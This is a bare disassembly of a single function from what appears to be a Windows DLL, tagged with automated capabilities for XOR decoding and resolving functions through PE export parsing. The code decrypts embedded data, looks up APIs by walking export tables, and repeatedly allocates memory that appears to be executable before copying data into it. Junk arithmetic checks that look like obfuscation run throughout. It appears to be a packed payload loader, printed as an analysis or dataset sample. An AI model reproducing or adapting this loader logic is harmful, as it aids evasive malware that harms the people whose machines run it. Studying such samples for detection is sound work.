Function at 0x180001140
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180020a70], 0xa
setl bl
or bl, al
je 0x1800011d0
mov r12d, dword [0x180020a74]
mov r14d, dword [0x180020a78]
mov r9b, byte [section..data]
mov r10b, byte [0x180004001]
mov r11b, byte [0x180004002]
mov r15b, byte [0x180004003]
lea eax, [r12 - 1]
imul eax, r12d
mov dword [rbp - 0x10], eax
test al, 1
sete al
cmp r14d, 0xa
setl dl
or dl, al
mov esi, r14d
mov edi, r12d
jmp 0x180001203
jmp 0x1800011d0
test al, 1
sete al
cmp esi, 0xa
setl cl
or cl, al
mov eax, ecx
or al, dl
test cl, cl
cmove esi, r14d
cmove edi, r12d
test al, al
je 0x180001280
mov eax, 0x10
call entry0
sub rsp, rax
mov rcx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r13, rsp
lea eax, [rdi - 1]
imul eax, edi
mov r8d, eax
and r8d, 1
cmp esi, 0xa
jl 0x18000123a
test r8d, r8d
jne 0x180001270
mov byte [rcx], r9b
mov byte [rcx + 1], r10b
mov byte [rcx + 2], r11b
mov byte [rcx + 3], r15b
test bl, bl
jne 0x180001282
cmp esi, 0xa
jl 0x1800011e0
test r8d, r8d
je 0x1800011e0
nop word [rax + rax]
jmp 0x180001260
jmp 0x180001270
jmp 0x180001280
mov r12d, dword [rcx]
test r12, r12
je 0x1800013a7
xor ebx, ebx
cmp r12d, 0x10
jb 0x18000136a
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x18000136a
mov ebx, r12d
and ebx, 0xfffffff0
lea rcx, [rbx - 0x10]
mov rax, rcx
shr rax, 4
add rax, 1
mov edi, eax
and edi, 1
test rcx, rcx
je 0x180001331
mov rdx, rdi
sub rdx, rax
xor ecx, ecx
lea rsi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, ecx
and eax, 0x3e0
movups xmm1, xmmword [rax + rsi + 4]
movups xmm2, xmmword [rcx + rsi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rcx + rsi + 0x414]
xorps xmm2, xmm0
movups xmmword [rcx + rsi + 0x404], xmm2
lea eax, [rcx + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + rsi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rcx + rsi + 0x414], xmm1
add rcx, 0x20
add rdx, 2
jne 0x1800012e0
jmp 0x180001333
xor ecx, ecx
test rdi, rdi
je 0x180001365
mov eax, ecx
and eax, 0x3f0
lea rdx, section..data
movups xmm0, xmmword [rax + rdx + 4]
movups xmm1, xmmword [rcx + rdx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rcx + rdx + 0x404], xmm1
cmp rbx, r12
je 0x1800013a7
lea rax, section..data
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, ebx
and ecx, 0x3ff
movzx ecx, byte [rcx + rax + 4]
xor cl, byte [rbx + rax + 0x404]
xor cl, 0xc
mov byte [rbx + rax + 0x404], cl
add rbx, 1
cmp rbx, r12
jb 0x180001380
cmp r14d, 0xa
jl 0x1800013c2
and dword [rbp - 0x10], 1
je 0x1800013c2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800013c0
lea r14, section..data
lea rcx, [r12 + r14]
add rcx, 0x404
mov al, byte [rcx]
mov byte [r13], al
mov al, byte [rcx + 1]
mov byte [r13 + 1], al
mov al, byte [rcx + 2]
mov byte [r13 + 2], al
mov al, byte [rcx + 3]
mov byte [r13 + 3], al
add rcx, 4
mov qword [rbp - 0x10], rcx
mov r9d, dword [r13]
test r9, r9
je 0x18000155a
xor eax, eax
cmp r9d, 0x20
jb 0x180001531
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001531
lea rcx, [r12 + r14]
add rcx, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rcx, rdx
jae 0x18000145a
lea rcx, [r9 + r12]
add rcx, r14
add rcx, 0x408
lea rdx, str.EZBKPcLDKylikoHwrADIOYDiBSpVBbCtaliyOnXLsuxWDabOPRymBPHgYmIgvcehPzoeBQIJyQWLxIPnwKCfCekFZpgysUFtMxCAlRJQEnkAODHCjIsHhYXdwiPElhDZRZXhsXkeRaEBPcMRWAJnzDfCmnEvHVPAZOcLnQSiUfcyfwgyLQzfCenorOeSiODgpmjXCEORBrnvGgszJsXPjjBfRgEGfSLivDTrLaAbFRFpgZwBYlWRYcZARCCVHOwgBPsrFLFPCulyItpTrOZfXUDicbKOnKuDXCDPrZBssjTJimrYHFYTtxOqPOwFoRkneVHUSAkCFAcDrZvsphrptYYVXQROsPYgREWnxBZtydwHnCSOOYMywIBYwwjYXqkhoiWvMrMxJmzrQvsCHCGPrTOKpiBPSetAzTwmlKmcejPwKBIjEAdhiQwZhQDOltyCjpsAGWKeBUhfauYrqSSLUSMniwKOAuSkFPsuDptEbzeYeZsLGlaimMSiFUeDavSDGUpZYIroEAPZFSUqwgKxsUvwqmyTrlPsHAlkftmyUIKbIbghiQubHEaAKVWJvfuZJlVvDneHfxxrEAbusMHHTMFVQzHZcRtWpWPRPLvVciUdCWZVHmqbDJLqhufGRPVsIpDgxhIbcPyMeRXimQujktQCuptRIOECaMfnKvMTeHZRARkoUnehaklfQFSKRhyzhwWjVyCZiqTfbAdAYHsKaDRcjcaPuoDlyRTIomTCTfMpGBOOtqQHGXUIUChXQCuYxHUwVIytVfXAGbaDHtoDDOjQUTiBoUpeGticjLEwaJBKIGvfsipCvctzMYKjUjleiMDXovUQAynpOdgJJrfYBmiXfGIZcTYfJolbolaLSsdBLyiPtoGgfTgvgtDvwVoVdmUCbiBEyaEEjECamGbmjwPuEZIQhMxWFJegLmyuYplzfgneIrGUgblXtawxCThlnwypwBSrZZamOQktHfbCghTpVoAXTOaAcByAYFEjnYkFqVKXmsVeJuhRKUPrgyF
cmp rcx, rdx
jbe 0x18000145a
xor eax, eax
jmp 0x180001531
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x1800014f5
lea rdi, [r12 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x18000148e
jmp 0x1800014f7
xor esi, esi
test r8, r8
je 0x18000152c
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
mov rcx, qword [rbp - 0x10]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
je 0x18000155a
lea rdx, [r12 + r14]
add rdx, 0x408
nop dword [rax]
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001540
cmp dword [0x180020a7c], 0xa
jl 0x180001582
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001582
nop word cs:[rax + rax]
nop
jmp 0x180001580
add r12, 0x408
movsxd rax, dword [0x180004440]
add rax, r14
add rax, 0x404
mov rsi, qword [rbp - 0x10]
nop dword [rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800015a0
mov r13, rsi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800015b0
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800015c0
mov qword [rbp], rax
mov r15, rdi
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800015d0
mov rbx, r15
nop dword [rax]
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800015e0
mov r14, rbx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800015f0
sub rsp, 0x20
mov rcx, rsi
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000162b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002310
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000165a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002320
mov qword [rbp - 0x28], rdi
mov qword [rbp - 8], rsi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
nop word cs:[rax + rax]
nop
mov esi, dword [rdi]
add rsi, r9
mov rdx, r13
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x1800016a6
add rdx, 1
add rsi, 1
cmp cl, al
je 0x180001690
cmp cl, al
je 0x1800016b4
add rdi, 4
add r10, 2
jmp 0x180001680
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016ee
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002330
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000171d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002340
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r15
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001756
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001740
cmp bl, cl
je 0x180001764
add rdx, 4
add rdi, 2
jmp 0x180001730
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.180002e10
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017c7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002350
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017f6
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002360
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
lea r14, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001839
add rsi, 1
cmp al, bl
je 0x180001820
cmp al, bl
je 0x180001847
add rdx, 4
add rcx, 2
jmp 0x180001810
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rsi, qword [rbp]
mov edx, dword [rsi + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r15, rax
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800023d2
test eax, eax
je 0x1800023d2
cmp dword [0x180020a7c], 0xa
jl 0x1800018b8
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002230
movsxd rsi, dword [0x180004440]
mov rax, qword [rbp - 0x10]
nop word cs:[rax + rax]
nop dword [rax]
cmp byte [rax], 0
lea rax, [rax + 1]
jne 0x1800018d0
mov r15, rax
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800018e0
mov r13, r15
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800018f0
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001900
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001910
mov r14, rdi
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001920
sub rsp, 0x20
mov qword [rbp], rax
mov rcx, rax
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000195f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002240
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000198e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002250
mov qword [rbp - 8], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop
mov edx, dword [rsi]
add rdx, r9
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x1800019d6
add rcx, 1
add rdx, 1
cmp al, bl
je 0x1800019c0
cmp al, bl
je 0x1800019e4
add rsi, 4
add r10, 2
jmp 0x1800019b0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a1e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002260
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001a4d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002270
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001a86
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001a70
cmp cl, dl
je 0x180001a94
add rdi, 4
add rsi, 2
jmp 0x180001a60
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e10
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001af7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002280
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b26
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002290
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001b68
add rsi, 1
cmp al, bl
je 0x180001b50
cmp al, bl
je 0x180001b76
add rdx, 4
add r9, 2
jmp 0x180001b40
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rcx, qword [rbp - 0x10]
jl 0x180001be0
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
mov rcx, qword [rbp - 0x10]
and edx, 1
jne 0x1800022a0
nop word cs:[rax + rax]
nop dword [rax]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001be0
mov r15, rcx
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001bf0
mov r13, r15
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001c00
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001c10
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001c20
mov r14, rdi
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001c30
sub rsp, 0x20
mov qword [rbp], rcx
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c6c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022b0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c9b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022c0
mov qword [rbp - 8], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [rsi]
add rdx, r9
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001ce6
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001cd0
cmp al, bl
je 0x180001cf4
add rsi, 4
add r10, 2
jmp 0x180001cc0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d2e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022d0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d5d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800022e0
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001d96
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001d80
cmp cl, dl
je 0x180001da4
add rdi, 4
add rsi, 2
jmp 0x180001d70
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e10
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e07
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022f0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e36
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002300
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
lea r14, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001e79
add rsi, 1
cmp al, bl
je 0x180001e60
cmp al, bl
je 0x180001e87
add rdx, 4
add rcx, 2
jmp 0x180001e50
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001ed4
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000189a
movsxd rbx, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rcx, qword [rbp - 0x10]
jl 0x180001f10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
mov rcx, qword [rbp - 0x10]
and edx, 1
jne 0x180002370
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001f10
mov rsi, rcx
nop dword [rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001f20
mov r13, rsi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001f30
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001f40
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001f50
mov r15, rdi
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001f60
sub rsp, 0x20
mov qword [rbp], rcx
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f9c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002380
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001fcb
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002390
mov qword [rbp - 8], rbx
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [r11]
add rdx, r9
mov rcx, rsi
nop dword [rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180002016
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180002000
cmp al, bl
je 0x180002024
add r11, 4
add r10, 2
jmp 0x180001ff0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000205e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023a0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000208d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800023b0
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x1800020c6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x1800020b0
cmp cl, dl
je 0x1800020d4
add rdi, 4
add rsi, 2
jmp 0x1800020a0
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r15
mov r8, r15
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e10
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180002137
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023c0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002166
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023d0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
nop dword [rax]
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x1800021a9
add rsi, 1
cmp al, bl
je 0x180002190
cmp al, bl
je 0x1800021b7
add rdx, 4
add rcx, 2
jmp 0x180002180
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180002204
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000189a
cmp dword [0x180020a7c], 0xa
jl 0x180001589
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001589
jmp 0x180001580
jmp 0x180002230
jmp 0x180002240
jmp 0x180002250
jmp 0x180002260
jmp 0x180002270
jmp 0x180002280
jmp 0x180002290
jmp 0x1800022a0
jmp 0x1800022b0
jmp 0x1800022c0
jmp 0x1800022d0
jmp 0x1800022e0
jmp 0x1800022f0
jmp 0x180002300
jmp 0x180002310
jmp 0x180002320
jmp 0x180002330
jmp 0x180002340
jmp 0x180002350
jmp 0x180002360
jmp 0x180002370
jmp 0x180002380
jmp 0x180002390
jmp 0x1800023a0
jmp 0x1800023b0
jmp 0x1800023c0
jmp 0x1800023d0
cmp ecx, 0xa
jl 0x1800023e2
test eax, eax
je 0x1800023e2
nop dword [rax + rax]
jmp 0x1800023e0
lea r8, [rsi + 0x108]
xor r9d, r9d
movzx eax, word [rsi + 6]
cmp r9, rax
jae 0x18000273a
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002419
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x180002732
lea rdi, [r9 + r9*4]
lea r10, [r8 + rdi*8]
add r10, 0x10
mov edi, dword [r10]
test rdi, rdi
je 0x1800024a2
mov ecx, dword [r10 - 4]
add rcx, r15
mov edx, dword [r10 + 4]
add rdx, r14
add rdx, 0x404
cmp eax, 0xa
jge 0x18000245b
jmp 0x18000246a
add rdx, 1
add rcx, 1
test rdi, rdi
je 0x180002496
cmp eax, 0xa
jl 0x18000246a
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180002700
add rdi, 0xffffffffffffffff
movzx eax, byte [rdx]
mov byte [rcx], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002449
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x180002449
movzx eax, byte [rdx]
mov byte [rcx], al
jmp 0x18000246e
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ecx, 0xa
jl 0x1800026dc
test edi, edi
je 0x1800026dc
